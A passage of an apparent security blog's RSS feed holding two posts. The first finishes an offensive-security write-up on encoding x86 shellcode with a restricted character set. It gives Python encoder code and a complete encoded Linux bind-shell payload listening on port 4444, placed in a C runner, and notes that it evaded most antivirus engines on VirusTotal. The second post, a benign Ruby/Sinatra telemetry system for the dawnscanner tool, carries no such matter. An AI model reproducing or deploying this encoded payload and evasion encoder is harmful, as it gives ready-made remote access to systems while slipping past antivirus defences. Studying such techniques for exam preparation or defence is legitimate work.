  <span class="n">compl_two</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="s">"FFFFFFFF"</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="nb">int</span><span class="p">(</span><span class="n">result</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>

  <span class="n">c</span> <span class="o">=</span> <span class="n">find_encoded_sequence</span><span class="p">(</span><span class="n">compl_two</span><span class="p">)</span>
  <span class="n">c2_h</span> <span class="o">=</span> <span class="s">"0x{:08x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">compl_two</span><span class="p">)</span>
  <span class="n">f</span> <span class="o">=</span> <span class="p">[</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="s">"{:02x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">i</span><span class="p">)])</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="o">*</span><span class="n">c</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])]</span>
  <span class="n">f_sum</span> <span class="o">=</span> <span class="s">"0x{:08x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">sum</span><span class="p">([</span><span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">f</span><span class="p">])</span> <span class="o">%</span> <span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">32</span><span class="p">))</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">c2_h</span> <span class="o">!=</span> <span class="n">f_sum</span><span class="p">):</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">warning</span><span class="p">(</span><span class="s">"can't find a good encoded sequence using 2 operands... trying with 3"</span><span class="p">)</span>
    <span class="n">c</span> <span class="o">=</span> <span class="n">find_encoded_sequence</span><span class="p">(</span><span class="n">compl_two</span><span class="p">,</span> <span class="bp">True</span><span class="p">)</span>
    <span class="n">f</span> <span class="o">=</span> <span class="p">[</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">([</span><span class="s">"{:02x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">j</span><span class="p">)</span> <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">i</span><span class="p">)])</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="o">*</span><span class="n">c</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">])]</span>
    <span class="n">f_sum</span> <span class="o">=</span> <span class="s">"0x{:08x}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">sum</span><span class="p">([</span><span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">f</span><span class="p">])</span> <span class="o">%</span> <span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">32</span><span class="p">))</span>

    <span class="k">if</span><span class="p">(</span><span class="n">c2_h</span> <span class="o">!=</span> <span class="n">f_sum</span><span class="p">):</span>
      <span class="n">logging</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="s">"can't find a good encoded sequence. Please consider changing this shellcode sequence"</span> <span class="o">+</span> <span class="n">result</span><span class="p">)</span>
      <span class="k">return</span> <span class="s">""</span>

  <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"obtaining 0x{0} with this ASM sequence"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">result</span><span class="p">))</span>
  <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">(</span><span class="s">"554e4d4a"</span><span class="p">,</span> <span class="s">"2a313235"</span><span class="p">):</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"AND EAX, 0x{0}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
  <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"SUB EAX, 0x{0}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">j</span><span class="p">))</span>
  <span class="n">logging</span><span class="p">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"PUSH EAX"</span><span class="p">)</span>

  <span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm_x86</span><span class="p">.</span><span class="n">zero_with_and</span><span class="p">(</span><span class="s">"eax"</span><span class="p">)</span>
  <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">shellcode</span> <span class="o">+=</span> <span class="s">"</span><span class="se">\\</span><span class="s">x2d"</span> <span class="o">+</span> <span class="n">strings</span><span class="p">.</span><span class="n">from_string_to_payload</span><span class="p">(</span><span class="n">strings</span><span class="p">.</span><span class="n">swap</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
  <span class="n">shellcode</span><span class="o">+=</span><span class="s">"</span><span class="se">\\</span><span class="s">x50"</span>

  <span class="k">return</span> <span class="n">shellcode</span></code></pre></figure>

<p>The whole generate.py source code is available on this gist.</p>

<noscript><pre>404: Not Found</pre></noscript>
<script src="https://gist.github.com/8daae5ae9656779b75a479e72f2a4492.js"> </script>

<h2 id="put-all-the-pieces-together-with-shellerate">Put all the pieces together with shellerate</h2>

<p>This can be a really good shellcode encoding mechanism. That’s why I automated
this process and integrated it with
<a href="https://github.com/thesp0nge/shellerate/tree/master/shellerate">shellerate</a>.</p>

<p>I asked my framework to generate a bind shell shellcode for Linux operating
system. The shell will listen on port 4444 for incoming connections.</p>

<p>Than I padded my shellcode, since I want to operate on 4 bytes long words and I
splitted my shellcode into words.</p>

<p>I encoded all the words using a restricted allowed charset alphabet and I
eventually appended a jump ESP call in order to use my shellcode in a C helper
like this:</p>

<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#include</span><span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span><span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">code</span><span class="p">[]</span><span class="o">=</span><span class="s">"</span><span class="se">\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x54\x58\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x02\x01\x01\x01\x2d\x7e\x6e\x6e\x6e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x32\x01\x01\x36\x2d\x7e\x01\x75\x7e\x2d\x7e\x4c\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x01\x01\x01\x2d\x6e\x4e\x01\x4f\x2d\x7e\x7e\x34\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x01\x2d\x6d\x65\x60\x75\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x52\x2d\x5c\x66\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x32\x31\x52\x52\x2d\x7e\x66\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x09\x01\x50\x01\x2d\x7e\x05\x7e\x3e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x43\x01\x01\x38\x2d\x7e\x31\x7e\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x02\x01\x01\x01\x2d\x7e\x4f\x01\x01\x2d\x7e\x7e\x3d\x4d\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x50\x01\x01\x2d\x3c\x7e\x35\x4d\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x35\x01\x01\x2d\x6f\x7e\x01\x01\x2d\x7e\x7e\x7c\x74\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x36\x01\x31\x01\x2d\x7e\x01\x6f\x01\x2d\x7e\x73\x7e\x73\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x01\x01\x2d\x31\x7e\x31\x01\x2d\x62\x7e\x7c\x74\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x36\x01\x2d\x31\x7e\x7e\x01\x2d\x63\x7e\x7e\x7c\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x50\x01\x2d\x32\x7e\x7e\x35\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x31\x01\x01\x2d\x01\x6f\x01\x70\x2d\x75\x7e\x4a\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x31\x31\x31\x7e\x2d\x72\x67\x63\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x31\x31\x31\x70\x2d\x7e\x68\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x02\x01\x01\x2d\x31\x7e\x4f\x01\x2d\x65\x7e\x7e\x34\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x31\x01\x2d\x7e\x3e\x68\x46\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x32\x7e\x75\x3b\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x02\x2d\x01\x7e\x01\x7e\x2d\x4b\x7e\x4c\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x02\x2d\x31\x01\x31\x7e\x2d\x68\x45\x66\x7e\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x01\x01\x01\x01\x2d\x76\x3d\x75\x3c\x50\x25\x4A\x4D\x4E\x55\x25\x35\x32\x31\x2A\x2d\x51\x01\x01\x01\x2d\x7e\x3e\x75\x3b\x50\xff\xe4</span><span class="s">"</span><span class="p">;</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"Shellcode Length:  %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">code</span><span class="p">));</span>
	<span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">ret</span><span class="p">)()</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">code</span><span class="p">;</span>
	<span class="n">ret</span><span class="p">();</span>
<span class="p">}</span></code></pre></figure>

<p>Please note that I wrote my shellcode in a reverse order, from the last word to
the first. This way, since the stack is growing backwards, the ESP register
will point to the beginning of my decoded shellcode at the end of the process.</p>

<p>You can see the process in action here. As you can see, the shellcode is
working and a bind shellcode was listening on port 4444.</p>

<p>What about anti virus tool then? I submitted my a.out file to Virus Total and
only 3 engines out of 58 detected my encoded shellcode: <a href="https://www.virustotal.com/gui/file/5045aee367cc29a8fcf4889c0935f039ed76550cb0f1ba743f9d20b9d2f1dc99/detection">pretty sweet
result</a>.</p>

<h2 id="off-by-one">Off by one</h2>

<p>Next steps will be:</p>
<ul>
  <li>implementing this encoder into shellerate and release a new version of the
framework (with a working shellerate binary script of course)</li>
  <li>make the AND process to use random values, so to increase shellcode entropy</li>
  <li>having fun with other register mathematical instructions so to encode with
ADD, MUL, DIV, …</li>
</ul>]]></content><author><name>thesp0nge</name></author><category term="offensive security" /><category term="shellcode" /><category term="asm" /><category term="x86" /><category term="python" /><category term="shellerate" /><summary type="html"><![CDATA[During my OSCE exam preparation I had to deal with shellcode writing experience where very few allower characters were available.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://armoredcode.com/assets/images/ancient_writing.jpg" /><media:content medium="image" url="https://armoredcode.com/assets/images/ancient_writing.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Create your own telemetry system</title><link href="https://armoredcode.com/blog/create-your-own-telemetry-system/" rel="alternate" type="text/html" title="Create your own telemetry system" /><published>2019-04-17T00:00:00+00:00</published><updated>2019-04-17T00:00:00+00:00</updated><id>https://armoredcode.com/blog/create-your-own-telemetry-system</id><content type="html" xml:base="https://armoredcode.com/blog/create-your-own-telemetry-system/"><![CDATA[<p>In order to monitor <a href="https://dawnscanner.org">dawnscanner</a> security scaner
usage, I introduced in upcoming version
<a href="https://github.com/thesp0nge/dawnscanner/tree/kb_revamp_in_yaml">2.0.0</a>, a
telemetry system.</p>

<p>On boot, dawnscanner will check if it has a unique identifier and if not it
will ask for one to the telemetry system.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="n">get</span> <span class="s1">'/new'</span> <span class="k">do</span>
  <span class="n">i</span> <span class="o">=</span> <span class="no">Id</span><span class="p">.</span><span class="nf">new</span>
  <span class="n">i</span><span class="p">.</span><span class="nf">uuid</span> <span class="o">=</span> <span class="no">Id</span><span class="p">.</span><span class="nf">get_new_id</span>
  <span class="n">i</span><span class="p">.</span><span class="nf">save</span>

  <span class="n">content_type</span> <span class="ss">:json</span>
  <span class="p">{</span><span class="ss">:uuid</span> <span class="o">=&gt;</span> <span class="n">i</span><span class="p">.</span><span class="nf">uuid</span> <span class="p">}.</span><span class="nf">to_json</span>
<span class="k">end</span></code></pre></figure>

<p>Id is an
<a href="https://api.rubyonrails.org/classes/ActiveRecord/Base.html">ActiveRecord</a>
class for the identifier model.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="nb">require</span> <span class="s1">'securerandom'</span>

<span class="k">class</span> <span class="nc">Id</span> <span class="o">&lt;</span> <span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Base</span>
  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">get_new_id</span>
    <span class="k">return</span> <span class="no">SecureRandom</span><span class="p">.</span><span class="nf">uuid</span>
  <span class="k">end</span>
<span class="k">end</span></code></pre></figure>

<p>The initialization part happens in the
<a href="https://github.com/thesp0nge/dawnscanner/blob/kb_revamp_in_yaml/lib/dawn/cli/dawn_cli.rb">Dawn::Cli</a>
class.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="vg">$telemetry_url</span> <span class="o">=</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:endpoint</span><span class="p">]</span> <span class="k">if</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:enabled</span><span class="p">]</span>
<span class="n">debug_me</span><span class="p">(</span><span class="s2">"telemetry url is "</span> <span class="o">+</span> <span class="vg">$telemetry_url</span><span class="p">)</span> <span class="k">unless</span> <span class="vi">@telemetry_url</span><span class="p">.</span><span class="nf">nil?</span>
<span class="vg">$telemetry_id</span> <span class="o">=</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:id</span><span class="p">]</span> <span class="k">if</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:enabled</span><span class="p">]</span>

<span class="n">debug_me</span><span class="p">(</span><span class="s2">"telemetry id is "</span> <span class="o">+</span> <span class="vg">$telemetry_id</span><span class="p">)</span> <span class="k">unless</span> <span class="vi">@telemetry_id</span><span class="p">.</span><span class="nf">nil?</span>
<span class="vg">$logger</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="s2">"telemetry is disabled in config file"</span><span class="p">)</span> <span class="k">unless</span> <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:enabled</span><span class="p">]</span></code></pre></figure>

<p>The real magic is in the
<a href="https://github.com/thesp0nge/dawnscanner/blob/kb_revamp_in_yaml/lib/dawn/engine.rb">Dawn::Engine</a>
class. Here we’ve got a telemetry method that do all the stuff.</p>

<p>The basic idea is to do a post on a URL posting the unique dawnscanner
identifier (that is also the URL where the post is made), the IP address and
the knowledge base version.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="k">def</span> <span class="nf">have_a_telemetry_id?</span>
  <span class="n">debug_me</span> <span class="p">(</span><span class="vg">$telemetry_id</span> <span class="o">!=</span> <span class="s2">""</span>  <span class="n">and</span> <span class="o">!</span> <span class="vg">$telemetry_id</span><span class="p">.</span><span class="nf">nil?</span><span class="p">)</span>
  <span class="k">return</span> <span class="p">(</span><span class="vg">$telemetry_id</span> <span class="o">!=</span> <span class="s2">""</span>  <span class="n">and</span> <span class="o">!</span> <span class="vg">$telemetry_id</span><span class="p">.</span><span class="nf">nil?</span><span class="p">)</span>
  
<span class="k">end</span>

<span class="k">def</span> <span class="nf">get_a_telemetry_id</span>
  <span class="k">return</span> <span class="s2">""</span> <span class="k">if</span> <span class="p">(</span><span class="vg">$telemetry_url</span> <span class="o">==</span> <span class="s2">""</span> <span class="n">or</span> <span class="vg">$telemetry_url</span><span class="p">.</span><span class="nf">nil?</span><span class="p">)</span>
  <span class="n">debug_me</span><span class="p">(</span><span class="s2">"T: "</span> <span class="o">+</span> <span class="vg">$telemetry_url</span><span class="p">)</span>

  <span class="n">url</span> <span class="o">=</span> <span class="no">URI</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="vg">$telemetry_url</span><span class="o">+</span><span class="s2">"/new"</span><span class="p">)</span>
  <span class="n">res</span> <span class="o">=</span> <span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="p">.</span><span class="nf">get_response</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>

  <span class="k">return</span> <span class="s2">""</span> <span class="k">unless</span> <span class="n">res</span><span class="p">.</span><span class="nf">code</span><span class="p">.</span><span class="nf">to_i</span> <span class="o">==</span> <span class="mi">200</span>
  <span class="k">return</span> <span class="no">JSON</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="nf">body</span><span class="p">)[</span><span class="s2">"uuid"</span><span class="p">]</span>
<span class="k">end</span>


<span class="k">def</span> <span class="nf">telemetry</span>
  <span class="k">unless</span> <span class="n">have_a_telemetry_id?</span>
    <span class="vg">$telemetry_id</span> <span class="o">=</span> <span class="n">get_a_telemetry_id</span>
    <span class="vg">$config</span><span class="p">[</span><span class="ss">:telemetry</span><span class="p">][</span><span class="ss">:id</span><span class="p">]</span> <span class="o">=</span> <span class="vg">$telemetry_id</span>
    <span class="n">debug_me</span><span class="p">(</span><span class="vg">$config</span><span class="p">)</span>
    <span class="n">debug_me</span><span class="p">(</span><span class="s2">"saving config to "</span> <span class="o">+</span> <span class="vg">$config_name</span><span class="p">)</span>
    <span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="vg">$config_name</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span> <span class="p">{</span> <span class="o">|</span><span class="n">f</span><span class="o">|</span> <span class="n">f</span><span class="p">.</span><span class="nf">write</span> <span class="vg">$config</span><span class="p">.</span><span class="nf">to_yaml</span> <span class="p">}</span>
  <span class="k">end</span>

  <span class="n">debug_me</span><span class="p">(</span><span class="s2">"Telemetry ID is: "</span> <span class="o">+</span> <span class="vg">$telemetry_id</span><span class="p">)</span>
  
  <span class="n">uri</span><span class="o">=</span><span class="no">URI</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="vg">$telemetry_url</span><span class="o">+</span><span class="s2">"/"</span><span class="o">+</span><span class="vg">$telemetry_id</span><span class="p">)</span>
  <span class="n">header</span> <span class="o">=</span> <span class="p">{</span><span class="s1">'Content-Type'</span><span class="p">:</span> <span class="s1">'text/json'</span><span class="p">}</span>
  <span class="n">tele</span> <span class="o">=</span> <span class="p">{</span> <span class="s2">"kb_version"</span> <span class="o">=&gt;</span> <span class="no">Dawn</span><span class="o">::</span><span class="no">KnowledgeBase</span><span class="o">::</span><span class="no">VERSION</span> <span class="p">,</span> 
           <span class="s2">"ip"</span> <span class="o">=&gt;</span> <span class="no">Socket</span><span class="p">.</span><span class="nf">ip_address_list</span><span class="p">.</span><span class="nf">detect</span><span class="p">{</span><span class="o">|</span><span class="n">intf</span><span class="o">|</span> <span class="n">intf</span><span class="p">.</span><span class="nf">ipv4_private?</span><span class="p">}.</span><span class="nf">ip_address</span><span class="p">,</span> 
           <span class="s2">"message"</span><span class="o">=&gt;</span> <span class="no">Dawn</span><span class="o">::</span><span class="no">KnowledgeBase</span>
        <span class="p">}</span>
  <span class="n">http</span> <span class="o">=</span> <span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">uri</span><span class="p">.</span><span class="nf">host</span><span class="p">,</span> <span class="n">uri</span><span class="p">.</span><span class="nf">port</span><span class="p">)</span>
  <span class="n">request</span> <span class="o">=</span> <span class="no">Net</span><span class="o">::</span><span class="no">HTTP</span><span class="o">::</span><span class="no">Post</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">uri</span><span class="p">.</span><span class="nf">request_uri</span><span class="p">,</span> <span class="n">header</span><span class="p">)</span>
  <span class="n">request</span><span class="p">.</span><span class="nf">body</span> <span class="o">=</span> <span class="n">tele</span><span class="p">.</span><span class="nf">to_json</span>

  <span class="n">response</span><span class="o">=</span><span class="n">http</span><span class="p">.</span><span class="nf">request</span><span class="p">(</span><span class="n">request</span><span class="p">)</span>
  <span class="n">debug_me</span><span class="p">(</span><span class="n">response</span><span class="p">.</span><span class="nf">inspect</span><span class="p">)</span>

  <span class="k">return</span> <span class="kp">true</span>
  
<span class="k">end</span></code></pre></figure>

<p>That’s it. No personal data apart from your IP is sent to dawnscanner servers.
On backend side, I implemented a simple Sinatra post catcher block of code,
saving the data on a SQLite3 database.</p>

<figure class="highlight"><pre><code class="language-ruby" data-lang="ruby"><span class="n">post</span> <span class="s1">'/:uuid'</span> <span class="k">do</span>
  <span class="n">request</span><span class="p">.</span><span class="nf">body</span><span class="p">.</span><span class="nf">rewind</span>
  <span class="vi">@request_payload</span> <span class="o">=</span> <span class="no">JSON</span><span class="p">.</span><span class="nf">parse</span> <span class="n">request</span><span class="p">.</span><span class="nf">body</span><span class="p">.</span><span class="nf">read</span>

  <span class="n">i</span> <span class="o">=</span> <span class="no">Id</span><span class="p">.</span><span class="nf">find_by</span><span class="p">(</span><span class="s2">"uuid"</span><span class="p">,</span> <span class="n">params</span><span class="p">[</span><span class="s1">'uuid'</span><span class="p">].</span><span class="nf">to_s</span><span class="p">)</span>
  <span class="k">unless</span> <span class="n">i</span><span class="p">.</span><span class="nf">nil?</span> 
    <span class="n">l</span><span class="o">=</span><span class="no">Log</span><span class="p">.</span><span class="nf">new</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">uuid</span> <span class="o">=</span> <span class="n">params</span><span class="p">[</span><span class="s1">'uuid'</span><span class="p">].</span><span class="nf">to_s</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">ip</span><span class="o">=</span><span class="vi">@request_payload</span><span class="p">[</span><span class="s1">'ip'</span><span class="p">]</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">kb_version</span><span class="o">=</span><span class="vi">@request_payload</span><span class="p">[</span><span class="s1">'kb_version'</span><span class="p">]</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">message</span><span class="o">=</span><span class="vi">@request_payload</span><span class="p">[</span><span class="s1">'message'</span><span class="p">]</span>
    <span class="n">l</span><span class="p">.</span><span class="nf">save</span>
  <span class="k">end</span>
<span class="k">end</span></code></pre></figure>

<p>This very basic telemetry system needs tons of improvements and, of course,
it’s opensource code hosted on
<a href="https://github.com/thesp0nge/telemetry">Github.com</a>.</p>

<p>Enjoy it!</p>]]></content><author><name>thesp0nge</name></author><category term="telemetry" /><category term="dawnscanner" /><category term="sinatra" /><category term="ruby" /><category term="web application" /><category term="capistrano" /><category term="deploy" /><summary type="html"><![CDATA[In order to monitor dawnscanner security scaner usage, I introduced in upcoming version 2.0.0, a telemetry system.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://armoredcode.com/assets/images/telemetry.jpg" /><media:content medium="image" url="https://armoredcode.com/assets/images/telemetry.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>